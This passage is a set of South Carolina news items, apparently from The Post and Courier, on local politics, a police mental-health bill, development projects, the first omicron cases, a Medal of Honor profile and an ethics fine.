food there is delicious. Ansari was also caught up in the #MeToo movement after sexual misconduct allegations against him arose in 2018. In response, Ansari issued an apology for misreading what he claimed was a consensual experience. I continue to support the movement that is happening in our culture, Ansari responded in an official statement at that time. It is necessary and long overdue. Ansari returned to the stand-up stage later that year and has since released Netflix standup special "Aziz Ansari: Right Now," in which he addressed the sexual misconduct controversy, along with his relationship with his family and his thoughts on White people trying to appear anti-racist. He performed a phone-free experience stand-up set in Charleston in September 2018, and this upcoming performance will follow suit with the same no-phone rules. Proof of full COVID-19 vaccination or a negative test within 72 hours will also be required for entry. Tickets to the Ansari stand-up show at the Gaillard go on sale at noon Dec. 17 at gaillardcenter.org. Gaillard Center members will receive presale access. COLUMBIA A state lawmaker wants to limit dangerous interactions between police and people experiencing mental illness as the pandemic worsens the states mental health crisis. Democratic State Rep. Jermaine Johnson, who represents the Hopkins area of Richland County, filed a bill that would require police departments to employ or contract with a mental health professional. Police departments would work with a counselor to determine whether a mental health professional could better handle an emergency response, Johnson said. I wanted to go ahead and make sure that we were exhausting all options to stop putting first responders in harm's way unnecessarily, Johnson said. Johnson will discuss the bill with his Republican peers when the S.C. House returns to session in January. In September, Johnson urged the Legislature to allocate $21 million of the American Rescue Plan Act funds coming to S.C. toward gun violence prevention efforts. That amount, one percent of the $2.1 billion reserved for COVID-19 response, could also fund police departments partnerships with mental health professionals. One in five South Carolinians has a mental health diagnosis, according to a report from the S.C. Institute of Medicine and Public Health and the S.C. Behavioral Health Coalition. Calls to mental health crisis hotlines have spiked nationwide during the pandemic, and fatal opioid overdoses in South Carolina rose 45 percent between April 2020 and April 2021, according to federal data. The association representing South Carolina sheriffs departments says a bill requiring departments to work with a mental health professional isnt the right approach. I don't think putting a law in place is going to be the sole answer, said Jarrod Bruder, executive director of the South Carolina Sheriffs Association. This is a community-wide problem that cant be solved by a law enforcement response only. The association has urged the Legislature in recent years to provide more funding for mental health resources in detention centers and for transport of people experiencing mental health challenges, Bruder said. Most S.C. sheriffs run their countys detention center. S.C. lawmakers added $3 million to the Department of Mental Healths budget in June following Jamal Sutherlands death in the Charleston County jail. Sutherland died in January after deputies struck him with Tasers six or more times, used pepper spray and pinned him to the floor when he refused to leave his cell for a bond hearing. Charleston County Sheriff Kristin Graziano announced several policies in July to change how employees respond to inmates experiencing mental illness, including no longer forcing inmates to attend their bond hearing in court. Less than three years before Sutherlands death, Nicolette Green and Wendy Newton drowned inside a Horry County Sheriffs Office van while deputies drove through floodwaters in 2018. Green and Newton were being committed to a mental health facility for evaluations. Bruder said he hopes for more state funding to expand capacity at mental health treatment facilities and to fund non-police transports to those facilities. Those transports, usually requested by a physician or a probate court, account for a large portion of police interactions with people experiencing mental health challenges, Bruder said. We're trying to get law enforcement out of that business that is a health care matter, not a criminal justice matter, Bruder said. The state Department of Mental Health has maintained mobile crisis units in all 46 counties since 2018, but most of those workers dont travel to scenes with law enforcement. Some police agencies have gone a step further to create dedicated crisis intervention units. The Lexington County Sheriffs Department launched a program in November with more than 30 Midlands organizations to help people with mental illnesses avoid emergency room visits and potentially dangerous interactions with law enforcement. Part of Lexington Countys new approach is proactive. A therapist will work with a county EMS team to identify people with mental illness who have previously used EMS during a crisis. That therapist and the community paramedics team will redirect people to mental health resources before another crisis occurs avoiding ER visits or detention in jail entirely. While experiencing a spike in mental health related calls, the Richland County Sheriffs Department started a crisis intervention team in February that pairs a deputy with a state Department of Mental Health clinician, who arrive at scenes together. COLUMBIA Richland School District One is set to add a security chief following a two-year candidate search and amid a spike in violence on its campuses, but the selection came after withering criticism from two commissioners about the hiring process. Commissioner Robert Lominack asked for more time to review the credentials of James Edward Brown Jr., who district leaders said rose to the top among 159 candidates for the position. Although a board vote isn't necessary to approve his employment, Lominack said more scrutiny was needed given the high-profile position and lack of information provided to the board and public about Brown's background. I knew more about the (district's) Hall of Fame inductees before they were inducted than I do about this proposed hire," he said Dec. 14. "Were being asked to approve the hire of the director of security and safety of the district, and the only thing weve been provided is a (resume) that he obviously prepared." Lominack proposed holding off on Brown's hire for at least two weeks, but commissioners overruled him on a 5-2 vote. District officials did not immediately provide a copy of Browns background to The Post and Courier, but according to his LinkedIn account, Brown has overseen safety and security operations at the Rock Hill School District since January 2020. In a news release from the Rock Hill School District announcing Browns hire, officials said he has a decorated career in emergency management, including eight months inside the operations center at Atlantas Hartsfield-Jackson International Airport and 17 years as a safety administrator inside the DeKalb County School District in Georgia. According to the release, Brown is a certified emergency manager with additional credentials through the National Association of School Resource Officers. Sources familiar with the hire confirmed to The Post and Courier that Brown is the same person picked by Richland One leaders. District officials on Dec. 15 said Brown will replace long-time security and emergency services Director Joe Fraley. Richland One serves 22,000 students across 52 schools that cover Columbia and northeastern parts of the county. Brown comes to Richland One as officials are talking about school safety in general. Last week, a 14-year-old A.C. Flora High School student was charged with threatening as part of several incidents at the school including a brawl that brought heightened police presence. Several of Lominack's colleagues defended the district, saying hiring of all employees besides the superintendent fall under the purview of administrators. Weve used this process time and time again, said Commissioner Jamie Devine, a past board chairman. We must respect the judgment of the administration who we then hold accountable to what happens within the school district. Lominack said state law gives the board final authority to handle operations of the district, and given Browns high-profile job, he said asking to more fully vet him was appropriate. I disagree that us getting a (resume) and voting yes or no' is a very informed decision and anything other than a rubber stamp, he said. Commissioner Beatrice King said she has questions about Browns qualifications as well. I have concerns based on the resume that Ive seen. It is totally fair to express concerns, she said. We have very little, and this not a person who was not in a director position. He was an employee. It was not immediately known when Brown will start or what hell be paid. Thanks to all of us, Alan Wilson may get himself elected governor one day. If he does, hell no doubt say he couldnt have done it without South Carolina voters. But itd be more accurate to credit South Carolina taxpayers. Because, like it or not, we've been subsidizing Wilsons undeclared, long-term, profile-raising and overtly partisan campaign for the past decade. Hardly a week goes by that Wilson doesnt show up in the news for sticking his nose into some lawsuit defending Colorado bakers, challenging New Jersey gun laws or advocating for a Virginia church thats been denied a tax exemption on some extraneous property. He even joined a Texas lawsuit over the 2020 presidential election that was so legally asinine it got laughed out of the U.S. Supreme Court. He could have just tackled voting irregularities in his own backyard. See: County, Lexington. We have more than enough crooks in South Carolina to keep the AG busy. And luckily, the state employs many assistant attorneys general to prosecute them, because Wilson is easily distracted. He just cant help wandering into other states or jurisdictions usually passing in front of a TV camera along the way. Wilson is trying his best to build a rep as a culture war crusader. Trouble is, hes doing it on our dime and in a job that is supposed to be about enforcing the law, not stirring up partisan pap. All those filings flimsy, facile and flawed as they are don't cost us much, but they take more than a little staff work. And technically they aren't in the job description. You'll notice Gov. Henry McMaster is no stranger to the same culture war battlefields that Wilson fights on today, but McMaster (mostly) didn't engage in such partisanship when he was attorney general. In fairness to Wilson, this is a different time and other attorneys general around the country do this same sort of thing. They even have clubs for it and Wilson is unsurprisingly president of one. But voters elected Wilson to be chief prosecutor for South Carolina ... not the state of Washington. The pandering hit its apex last week, when our attorney general took a break from filing amicus briefs in Idaho to have lunch with Kyle Rittenhouse. Yeah, that guy. Sign up for our new opinion newsletter Get a weekly recap of South Carolina opinion and analysis from The Post and Courier in your inbox on Monday evenings. Email Sign Up! No doubt the stunt prompted hundreds of Columbia canines to howl in pain. You know, from all the dog whistles. But perhaps Wilson breaks bread with every troubled Illinois teen who wanders 865 miles from home. Surely, an officer of the court wasnt subtly endorsing the actions of a vigilante who, although acquitted, admittedly carried a rifle to an out-of-state protest and ended up shooting three people because he felt threatened. Wilson even took his lunch date to Piggie Park, a South Carolina barbecue restaurant infamous for once distributing literature that extolled the societal benefits of slavery. Maybe that was just coincidence. And maybe everything Wilson does is simply part of his knight-errant quest to single-handedly defend state law and the U.S. Constitution and not just an endless procession of publicity stunts to woo the states most extremist, and gullible, voters. Wilson has spent most of the past year joining various lawsuits to stop vaccine and mask mandates because, he argues, nobody has a right to tell anyone else what to do with their own body. Except in Mississippi, where Wilson has taken the exact opposite position to help defend an abortion ban. No matter how anyone feels about his political positions, it's hard to argue that this isn't a tad bit convenient. He's found a way to stake a position in every social-issue hot button needed to clear the field in a GOP primary. But maybe thats a coincidence, too. Maybe Wilson just calls 'em like he sees 'em, like he did after the insurrection. See, although Wilson has a couple of uncomfortable political connections to the Jan. 6 attack on the U.S. Capitol, he joined other AGs around the country in condemning the coup. In fact, Wilson has conceded despite his participation in lawsuits that say otherwise that President Joe Biden legitimately won the election. Since admitting that inconvenient truth, he's been working overtime to soak up free headlines by embracing whatever fresh hell the loonies are triggered by on any given week. Which brings us back to that lunch. Wilson could hardly have been any more obvious had he winked at the TV cameras. He isnt a dumb guy. He knows exactly what hes doing ... and who's approval he's after. Its cynical, its craven, and in South Carolina, its a winning strategy. And every bit of it is on our time. This is part of The Post and Couriers Daily Digest series, in which one of our food reporters asks a local to describe a day of eating in detail. Michael Whiteley is co-owner and operator of Dalila's. He lives downtown with his wife and his Siberian Husky, Doc, and loves to eat. I got moving around 10 a.m. and made some breakfast tacos on the plancha for the wife and me. I used sunny side eggs, garlic kale, grilled onions, Fresno chiles and Cotija cheese. On my first trip to work, I walked over to Babas on Cannon and got an iced Americano and some banana bread to share with Doc. Later on, around 5:30 p.m., I headed over to Berkeley's before going back to work for the night. I got a Chicken Caesar to eat there and a Chicken Parm sandwich to take with me. (Their chicken cutlet is stupid good.) A few hours into the shift, this sandwich was long gone and I started praying for the homies at Xiao Bao Biscuit to bring me some dumplings or hand-pulled fat noodles with lamb. At about 11 p.m., my prayers were answered with the noodles and life was good. When I got home around 3 a.m., I made a couple mini quesadillas with a heavy dose of Yellowbird Habanero sauce. GEORGETOWN Santee Electric Cooperative received final approval Dec. 14 for a tax break that will help the utility invest at least $12 million throughout Georgetown County over the next five years for new transformers and substations. There is no timeline right now, though, for when these improvements could start, County Administrator Angela Christian said. Santee Electric buys power from Santee Cooper, which sells electricity to users. Georgetown County Council heard initial reading on Aug. 24 for a tax agreement that will have Santee Electric pay a lower tax rate for at least 30 years with the hopes the savings would be put back into the project. This agreement, called a fee in lieu of tax, covers all taxable investments or properties, and does not require a specific address for its projects, the county's former economic development director Brian Tucker previously said. This agreement with Santee Electric will lower their property tax liability on new investment, on stuff theyre going to continue to invest and put in the ground, Tucker said. Over time, that ... would allow (Santee Electric) to reinvest in Georgetown County at a higher rate, or it would allow them to lower the electric rate for their members. While the cooperative has not always taken advantage of this tax agreement, spokesman Jay Kirby said previously it would help the cooperative keep its tax rate low, which in turn helps lower its expenses and keep users rates stable. This proposed investment is one of many Georgetown County has been seeing lately as interest in residential, industrial and tourist developments boom. A 56-room hotel will be built at the site where the Georgetown Times now sits, and a local business man and developer David Kossove recently purchased the city of Georgetowns electric department building to build a $25 million project of luxury condos, a market and offices overlooking marshland. The Cubes at Fort Prince industrial park in Spartanburg County leased a planned 1.5 million-square-foot building to an undisclosed client on Dec. 9. The client plans to use the facility to expand its distribution footprint in the Southeast, according to a Colliers news release. Site work on the first of multiple buildings began in September at the industrial site. "Building A," which the unnamed client will occupy, is the first building to break ground at the industrial park. Construction is on schedule and is expected to be done by June 2022, according to Colliers. The new tenant's next door neighbor will be Walmart, which announced in October that it would invest $450 million into Spartanburg County to build a high-tech distribution center. It will bring 400 jobs to the region. Walmart purchased approximately 200 acres of the 750-acre Fort Prince industrial park located at 200 Fort Prince Road in Spartanburg County. Walmart has four distribution centers in South Carolina, as well as 122 retail stores and more than 34,000 associates. There are plans for two additional structures to be built at the industrial park that would add another 845,000 square feet of space combined. Bosch Rexroth to expand German engineering company Bosch Rexroth Corporation announced its plans to invest $12.8 million into Greenville County and create 60 new jobs over five years. The investment will expand the existing hydraulics manufacturing facility in Fountain Inn. The Greenville County facility at 8 Southchase Ct. makes hydraulic pumps and motors used in construction, agriculture, mining, material handling and oil and gas exploration. By expanding, the manufacturer intends to improve its product development and testing capabilities. That includes a new off-highway equipment testing area. The expansion is expected to be complete by 2025. Quick hits Labtech Diagnostics , an Anderson-based clinical diagnostic laboratory provider, was acquired by national company based in New Jersey. Quest Diagnostics purchased almost all assets of Labtech, which serves physicians and patients in the Carolinas, Georgia and Florida. The acquisition allows Quest to improve its services as a provider of diagnostic information services to the Southeast. The Labtech laboratory in Anderson is now the first full-service laboratory owned by Quest in South Carolina. , an Anderson-based clinical diagnostic laboratory provider, was acquired by national company based in New Jersey. purchased almost all assets of Labtech, which serves physicians and patients in the Carolinas, Georgia and Florida. The acquisition allows Quest to improve its services as a provider of diagnostic information services to the Southeast. The Labtech laboratory in Anderson is now the first full-service laboratory owned by Quest in South Carolina. New Jersey-based managed infrastructure provider 11:11 Systems closed its deal to acquire Greenville software company Green Cloud Defense. Green Cloud will continue to operate as an independent brand until full integration is complete, which is expected in the second quarter of 2022. On the Move Personnel announcements from around the Upstate. Director of Human Resources for the Greenville-Spartanburg Airport District Ashley M. Bruton was named one of Airport Business magazine's 2021 Top 40 Under 40 program. The editorial staff of the magazine selects those featured based on their commitment to and involvement in the aviation industry. The feature is available online and in the November/December 2021 print edition of the magazine. was named one of Airport Business magazine's 2021 Top 40 Under 40 program. The editorial staff of the magazine selects those featured based on their commitment to and involvement in the aviation industry. The feature is available online and in the November/December 2021 print edition of the magazine. Hartness, a planned urban village currently under development east of Greenville, announced Stephen McRae as its farm manager. In June 2021, Hartness unveiled its first farm plot in partnership with Mill Village Farms, a local nonprofit that runs a youth farming program. In his new position, McRae will be responsible for aiding in the development and growth of the agricultural programs at Hartness along with fostering relationships with vendors and volunteers. Most recently, McRae was the food hub manager at Swamp Rabbit Cafe and Grocery. Thats all for this week. Email your thoughts, tips, releases and newsy bits to smirah@postandcourier.com. GREENVILLE An Atlanta-based rapper who was performing at Greenville's Lavish Lounge the night of a mass shooting faces a federal firearms charge after prosecutors say he illegally brought a handgun and ammunition into the club. Kwame Brown, known by his stage name Foogiano, is a convicted felon and is accused of bringing a .40-caliber Glock handgun and rounds into Lavish on July 4, 2020, when a shooting left two people dead and eight others wounded, according to Assistant U.S. Attorney Justin Holloway. After Foogiano entered the club that night, Holloway said he gave the handgun and ammunition to a member of his security team who also is a convicted felon. That person also faces a federal firearms charge, though the name was redacted from the indictment. Neither Foogiano nor the unnamed member of his security team are accused in the indictments of opening fire that night. A warrant for the entertainer's arrest was issued on Nov. 9 while he was being held at the Athens Clarke County Detention Center in Georgia on other charges. He was arraigned in federal court in Greenville on Dec. 13, according to court records. Jarquez Kezavion Cooper of Athens, Ga., was arrested shortly after the shooting and charged with two counts of murder, seven counts of attempted murder and one count of possession of a weapon during a violent crime. The shooting remains under investigation. Mykala Bell, a 23-year-old mother of two, and 51-year-old Clarence Sterling, who was working as a security guard at Lavish during Foogiano's performance, were killed that night. Authorities have said neither were involved in the altercation that prompted the shooting. Foogiano has requested to return to custody in Georgia as his case makes its way through court. That request is pending. His public defender, James Loggins, did not immediately return a Dec. 14 call for comment. The state's first three cases of the rapidly spreading omicron variant of COVID-19 were identified on Dec. 15 by the molecular pathology lab at the Medical University of South Carolina. All of the samples were collected from individuals in Charleston County who tested positive for COVID-19 and were fully vaccinated. Dr. Brannon Traxler, public health director of the S.C. Department of Health and Environmental Control, said the three are currently experiencing mild symptoms. DHEC does not believe any of the three had received a booster dose of the COVID-19 vaccination and the agency is uncertain if any of the individuals had been eligible for one. The little bit of evidence available suggests that being fully vaccinated may not be as protective against omicron as it was against delta and other previous strains, Traxler said. However, data does suggest getting a booster shot increases vaccine efficacy enough to protect against the virus. The results of the COVID genetic sequencing were uncovered during the MUSC lab's weekly run of test samples to check for mutations and variants of concern. The variant was likely already circulating in South Carolina before these cases were sequenced, officials said. "We knew it was only a matter of time before we would see confirmed cases of the omicron variant here in South Carolina, DHEC Director Dr. Edward Simmer said in a press release. As we get further into the winter holiday season, it is more important than ever for our unvaccinated population to begin their COVID-19 vaccination series, and for fully vaccinated individuals to get their booster shot when eligible." The Centers for Disease Control and Prevention is now urging all eligible adults and some teenagers to receive a booster dose, depending on when they finished their initial vaccine series. The variant was originally discovered in Botswana on Nov. 11 and in South Africa on Nov. 14. It was later designated by the World Health Organization as a variant of concern on Nov. 26 and has since been detected in more than 25 countries and more than 37 states in the United States. This variant is all over the country, said Traxler. We need to take the same precautions whether we are 10 minutes from our house, across the state or across the country. According to Traxler, the concerns with this variant lie in the unknowns. Those unknowns include how quickly and easily the virus spreads, how effective vaccines are in preventing serious illness or death, and how effective treatments like monoclonal antibodies are. According to the CDC, mutations in the omicron variant might increase transmissibility, resist reputable treatments or evade vaccine immunity. Scientists from MUSC say one of the reasons WHO is recognizing omicron as a variant of concern is because the spike protein in the variant has 32 mutations. Spike proteins are known to interact with cells and begin replicating, a characteristic that many viruses like COVID-19 inherit when infecting a host. The delta variant, which devastated many families across the state, had 16 different mutations, making it easier for the virus to infiltrate human cells and increased the transmission rate of the virus. Julie Hirschhorn, who works in the MUSC lab where omicron was detected, said the state is doing as much sequencing as they can to properly detect variants like omicron and other mutations. There's a lot of epidemiological support to suggest that if you are doing at least 5 percent of the sequencing of your state, you'll be able to find novel variants or any new variants that arise, said Hirschhorn, assistant director of the MUSC molecular pathology lab. I believe that South Carolina is doing a very nice job trying to capture those positive tests and reach that 5 percent goal. This month last year, South Carolina was experiencing its biggest surge of COVID to date. The state recorded over 4,300 new cases on Dec. 25, 2020. A year ago, few people in the state had been vaccinated. Now, the latest data from DHEC shows just above 50 percent of all eligible residents in the state are considered fully vaccinated and nearly 60 percent have received at least one shot. However, the number of new COVID-19 cases continues to rise, though not at a level that is leading state health officials to warn of another surge. We are seeing a slight increase in case numbers but it is certainly not the increase that we saw last year, said Traxler. However, we are not out of the woods and there is no reason for people to let their guards down. Kingstree, SC (29556) Today Clear to partly cloudy. Low around 35F. Winds light and variable.. Tonight Clear to partly cloudy. Low around 35F. Winds light and variable. SUMMERVILLE Katie Celiz's jacket kept disappearing. It was 2002, and she was working at the local Bi-Lo supermarket on Bacon's Bridge Road as a high schooler. She noticed that every time she hung her jacket up in the break room it seemed to go missing around closing time. One day, she walked into the parking lot and saw her co-worker, a square-jawed JROTC student named Chris, wearing her coat while he was returning the shopping carts. The following night, her coat was hung up right where she had left it. Inside the pocket were rose petals he had placed there. "The next day was when he actually asked if we'd, like, start hanging out," she remembered. "Then we really hit it off, and we've been together ever since." Nearly 20 years later, Katie Celiz recalled that memory at a roundtable in Washington, D.C., as her late husband, Sgt. 1st Class Christopher Celiz, was about to be awarded the Medal of Honor by President Joe Biden for an act of valor in Afghanistan that saved his men but ended his life. As she prepares to accept the award Dec. 16 on his behalf, Katie Celiz is reflecting on all the memories of her husband, including the ones hard to talk about, like the day she learned he was killed protecting others from enemy gunfire. A beautiful life together Chris Celiz grew up in the Lowcountry, attended Summerville High School and went on to became a cadet at The Citadel. In 2007, he joined the military and eventually became a part of the elite Army Rangers. He married Katie around the same time he signed up, and she recalled being smitten. They had attended the same high school, had the same friends and, coming from a Navy family herself, she could see he was destined to serve. "When we were in high school, obviously 9/11 happened," she recalled. "He knew then that's when he wanted to join the military to make a difference. We were married in 2007, and we had a beautiful life together." The faculty at his old school remember his desire to serve, too. Jimmie Lewis, a history teacher at Summerville High, recalled Chris as a respectful student, a fun-loving guy with a good attitude that was contagious. "As a teacher, that's one of the reasons why we do this job, we hope we have some minute level of influence over a student's future," Lewis said. "I hope I made an impact in some way. I know Chris made an impact he made the ultimate sacrifice for our nation." 'We owed him our lives' By the age of 32, Chris was on his fifth deployment to Afghanistan. He was believed to be a part of a CIA effort to capture or kill militant targets at a time when the broader U.S. military mission was geared toward training and supporting Afghan defense forces. It was July 12, 2018, and Chris found himself in eastern Afghanistans Paktia province. He was leading an operation to clear an area of enemy forces and stop future attacks against the government of the Islamic Republic of Afghanistan, according to the Army. After his team reached their location, a large enemy force attacked. Chris voluntarily exposed himself to intense enemy machine gun and small-arms fire, the Army detailed. He shot back in return, allowing U.S. and partnered forces to get to a secure location, and begin treating a wounded team member. As the medical evacuation helicopter arrived, it was taking heavy enemy fire. The Summerville native exposed himself repeatedly so he could lead the evacuation. "Celiz made a conscious effort to ensure his body acted as a physical shield to protect his team, the injured partner and the crew of the aircraft from enemy fire," the Army said in a statement. After the wounded team member was loaded, Chris' team returned to cover, but he kept shooting and placed himself directly between the cockpit and the enemy, ensuring the aircraft was able to depart. As the helicopter began to take off, Chris was hit by enemy fire. Knowing the aircraft was in danger, he motioned to the pilots to depart rather than remain to load him. The pilot, Capt. Ben Krzeczowski, said the mission would have failed and he would have died if it werent for Chris' sacrifice. Sign up for our SC Military Digest newsletter Get exclusive military reporting, updates from Palmetto State bases, headlines from around the globe and more delivered to your inbox each Tuesday. Email Sign up! My aircraft would have been critically damaged if it werent for Chris, and we owed him our lives, Krzeczowski told the Army. Katie Celiz remembers hearing the helicopter had returned without her husband. She was in shock, but she understood why he made that choice. "When I heard the story about Chris and how he decided to wave off the helicopter, I wasn't surprised that he would choose to do that," she said. "I'm still a little angry at him for deciding to do that, but I understood why he felt the need to do it." The Army Ranger Creed Army Rangers are an elite breed of soldier. They go through rigorous selection and training. State Rep. Bobby Cox, a former Army Ranger and Citadel cadet like Chris, noted that to be a part of the unit, they must live by a creed. One line of that creed reads: "Readily will I display the intestinal fortitude required to fight on to the Ranger objective and complete the mission, though I be the lone survivor." Cox, of Greer, said South Carolina should be proud of Chris Celiz's selfless sacrifice. "Chris gave 100 percent and then some," Cox said. "He gave it all and he lived the Ranger creed, and he's just a great example for all of us." In the nearly 20 years America spent in Afghanistan and Iraq since 9/11, an estimated 101 service members from South Carolina died, according to a review of data from the Military Times and iCasualties.org. Nearly 20 graduates from The Citadel died overseas during the wars, according to the schools website. Retired Marine Gen. Glenn M. Walters, president of the historic military college in Charleston, said Chris' life and legacy is an example for all cadets. The Citadel is honored to recognize him on the colleges War Memorial alongside other fallen alumni," Walters said. "We are grateful his family will accept our nations highest award for military valor on his behalf. It could not be more deserved. To be considered for the Medal of Honor, a deed performed by the service member must have been one of personal bravery or self-sacrifice so conspicuous as to clearly distinguish the individual above his comrades and must have involved risk of life. 'An amazing man, an amazing father' By law, Medals of Honor must be awarded within five years of the combat action recognized. Chris' death fell within the time frame. To be recognized for the Medal of Honor is an arduous process and requires intense vetting, reviews from numerous levels of the Pentagon and, ultimately, presidential approval. It has been three years since her husband died, and Katie Celiz said the process of dealing with grief, as well as going through the vetting process, is not an easy journey. "To be honest, it's a little terrifying," she said. "But everyone's been very supportive, especially my Ranger buddies. They've been with me every step of the way to make sure I'm comfortable and can help me express the true story of Chris." Biden will present Katie with the Medal of Honor in Washington. Biden will also present medals to Master Sgt. Earl Plumlee and the late Sgt. 1st Class Alwyn Cashe, who also fought in Afghanistan and Iraq. In recent days, Katie has reflected on their life together and looks at their daughter knowing her husband was a role model in every sense of the word. "I just felt blessed that I got to have the years that I had with Chris," she said. "He was an amazing man, an amazing father." CONWAY A proposed campground slated for S.C. 544 unanimously passed first reading by Horry County Council on Dec. 14 after it was rejected by the county planning commission less than two weeks earlier. The developer Diamond Shores wants to build to build a 161-site RV park on S.C. 544 next to a Bojangles restaurant in a heavily residential area 1.5 miles south of Coastal Carolina University. The busy road off U.S. 501 is already known for heavy RV traffic on weekends since it ends at several beachfront campgrounds. The commissioners ultimately voted the project down at the Dec. 2 meeting after being told by county staff that the road was at 85 percent capacity. The volume of traffic on 544, I dont believe is at 85 percent, planning commissioner Joey Ray said at the Dec. 2 meeting. I believe it is already over capacity. Developer David Schwerd told the planning commissioners that the site was zoned for single-family residential and could be again. Im never going to be able to alleviate all of your concerns with a camper or any other development coming directly out on 544, Schwerd said. Schwerd agreed to add a deceleration lane to help prevent vehicle accidents after the commissioners posed concern due to potential traffic. Councilman Johnny Vaught agreed to the lane at the Dec. 14 meeting. As everybody knows these are pretty big rigs so if they are stopped to get into a campground that really slows your traffic down, Vaught said. Horry County Planning Director David Jordan told council that he will have updated plans showing the added lane at the next meeting for second reading which is slated for Jan. 4. SUMMERVILLE The interchange for Nexton Parkway on Interstate 26 opened in 2018 about 25 miles from downtown Charleston, and unlike the Summerville exit two miles to the south, much of it remains undeveloped. That could soon change. A range of commercial, industrial and residential developments are already in the works for the nearly untouched road junction. Summerville annexed about 1,000 acres in 2020 on the northwestern quadrant of the interchange across from the developing Nexton community. The site is approved for up to 700 homes, 200,000 square feet of light-industrial space and 300,000 square feet of commercial space. Plans have been presented to the town for the first 177 homes along Linda Way near Drop Off Drive. Across the street in Nexton, a 64,000-square-foot Harris Teeter supermarket is in the works at Brighton Park Boulevard and Nexton Parkway and a 345-unit apartment development is underway at Sigma Drive and Nexton Parkway not far from Baker Motor Co.'s new Mercedes-Benz Van dealership and the new Sigma Drive Self Storage facility. On the southeastern quarter of the interchange, Charleston-based Hudson Automotive Group plans to build a 47,000-square-foot Nissan dealership on half of a 15-acre parcel where Millhouse and Holiday drives meet near Nexton Parkway. The remainder of the Hudson site will be set aside for future development. On the southwestern quadrant, one large project is in the works, but much of it remains undeveloped. Where Nexton Parkway becomes North Maple Street, a pair of Mount Pleasant real estate investors plan to develop a mixed-used project of commercial and residential buildings. Mixing it up on Maple Late last year, Thomas Massey, of SUP Real Estate, and business partner Jason Ray, through an affiliate called CVEA Summerville I LLC, paid nearly $10 million for about 70 acres along North Maple Street and Old Dairy Road. The property sits just inside the Dorchester County line. About 50 acres were annexed into the town in 2020 under a mixed-use classification that allows a variety of structures, including retail, offices, single-family homes and apartments, Ray said. Another piece of the planned development, a 21-acre parcel that straddles North Maple Street and abuts Robyn Wynn subdivision to the east, was annexed into the town in 2014. The pair recently purchased another 102 acres nearby along North Maple Street and Nexton Parkway in what is called the Rosemary Tract for $17 million. A mix of uses is being proposed for the site as well. Adjacent to the developers' plans for a mixed-used project sits roughly 123 acres straddling Berkeley and Dorchester counties off Old Dairy Road near Rumphs Creek. A California affiliate of American Homes 4 Rent paid $8 million in September for the property to add to 59 adjacent acres it already owned. About 400 single-family homes and 600 apartments have been approved by the town for the North Maple/Old Dairy Road area, according to Planning Director Jessi Shuler. The single-family residences will go on the American Homes 4 Rent property off Old Dairy Road while the apartments and commercial development will be closer to Maple Street. Lifestyle Communities of Columbus, Ohio, has presented plans for a 428-unit apartment development, Shuler said. A restaurant, wellness center and co-working space are planned in a 13,150-square-foot retail site along North Maple. Summerville annexed the North Maple site and 1,000-acre parcel north of the interstate as planned unit developments. Shuler said it will be a challenge for developers to meet the maximum approved residential units since part of the properties include wetlands and a certain amount of acreage must be set aside for trails and open space. 'Next gateway' Between the proposed CVEA mixed-used development and I-26 sit several hundred acres that remain undeveloped. About 357 acres are owned by a firm called Dustoff22 LLC, which paid more than $14.7 million for several tracts in 2016. Most of it is west of North Maple Extension where it merges into Nexton Parkway. The property, mostly outside Summerville town limits in unincorporated Berkeley County, abuts Charleston Trade Center and is likely to be a combination of commercial and industrial development, Shuler said. The county's land use map for the interchange recommends it as a town and employment center with low-density suburban use, according to Alison Simmons, planning and zoning director. "This interchange can become the next gateway to the Charleston metro on I-26," said Kristen Lanier, Berkeley County director of economic development. She pointed out the county is committed to working with developers to recruit employers to the new interchange. Among the targeted developments are corporate headquarters, research and development, or light manufacturing in core industrial sectors such as information technologies, aerospace, biotechnologies and life sciences, automotive and advanced materials. "We would like to recruit industries that provide employees the affordability to buy a home close to their place of employment," Lanier said. "It is with this goal in mind, that council chooses how and when to incentivize a project," she said. "Proximity to the interstate is a driving factor for warehousing and logistics, but we want to ensure we recruit diverse industries and advanced manufacturing along this corridor too." Intersection for jobs County Supervisor Johnny Cribb, like Lanier, said the county will never be able to build or widen enough roads if people must still commute 30-40 miles to work. "The key for us in that region, the more commercial and more work centers come out there, the better it helps our roads," Cribb said. "We have to start having business and industry where people live. Well never be able to widen the roads wide enough if every time you want to go shopping you drive from Cane Bay or Nexton to North Charleston. That doesnt help the road system." With a huge chunk of land around the interchange in the town of Summerville, Mayor Ricky Waring said people have mixed feelings about the development that's on the way. Some people are excited about the development and some people are not," Waring said. "To be honest, it doesnt make any difference if they are excited or not because its going to happen. A couple of new hotels could be in the works for the interchange, and the recently annexed tracts on both sides of the interstate will bring an influx of new residents and businesses to the town of roughly 54,000 people, Waring said. Putting the infrastructure in place will be the difficult part of the town's growth, but Waring said the groundwork has to start now in collaboration with other governments to get water, sewer, roads and safety services in place "for all the growth that's coming in the next 20 to 30 years." More coverage To read more stories in the series about growth and development, go to postandcourier.com/boomandbalance/. Summerville is working with Berkeley County for a possible impact study on the interchange to try to avoid a repeat of the crowded Summerville exit at U.S. Highway 17A and I-26. "We know that area is about to explode," Shuler said. "We want to try and get a really good baseline for traffic, so we can do a better job with mitigation requirements and not put certain improvements all on one development." The town is hoping for more of a cost-sharing arrangement. "Were asking some of the bigger developers to chip in because it will ultimately benefit all of them," Shuler said. "If people cant get anywhere in that area, it doesnt do them any good." She believes it's important for development around the Nexton Parkway interchange to be designed so traffic will be steered to key intersections and not directly onto Maple Street Extension and Nexton Parkway. "We don't want a bunch of parking lots fronting the roads," she said. "We want a better streetscape to provide that true gateway into the town." A chronic failure to file her required financial disclosures will cost Orangeburg County's elected coroner $17,000, the state's ethics watchdog has decided. And that's even after the State Ethics Commission reduced Samuetta Marshall's original fine by $5,000 following her appeal for leniency last month. The commission's Dec. 3 ruling adds to a mound of ethics fines the Holly Hill Democrat has faced over her nearly 30 years as the official in charge of investigating suspicious deaths in Orangeburg County. Marshall has a long history of failing to file reports detailing her campaign fundraising and spending, as well as ethics forms disclosing her sources of income. Such forms are bedrock to government accountability, revealing potential conflicts of interest and unmasking who is funding politicians' campaigns. The 61-year-old also ignored the Ethics Commission's repeated efforts to reach her about those forms and the late-filing fees she was accumulating, ethics investigators have testified. She didn't even attend her July ethics hearing to defend herself. Marshall's attorney, Orangeburg lawyer Thomas Sims, said his client understands she made a mistake and plans to pay her fine in monthly installments. Marshall herself did not respond to requests for comment Dec. 15. The Post and Courier first highlighted Marshall's case in August as part of an Uncovered investigation into South Carolina politicians who refuse to pay their ethics fines yet face few consequences. The 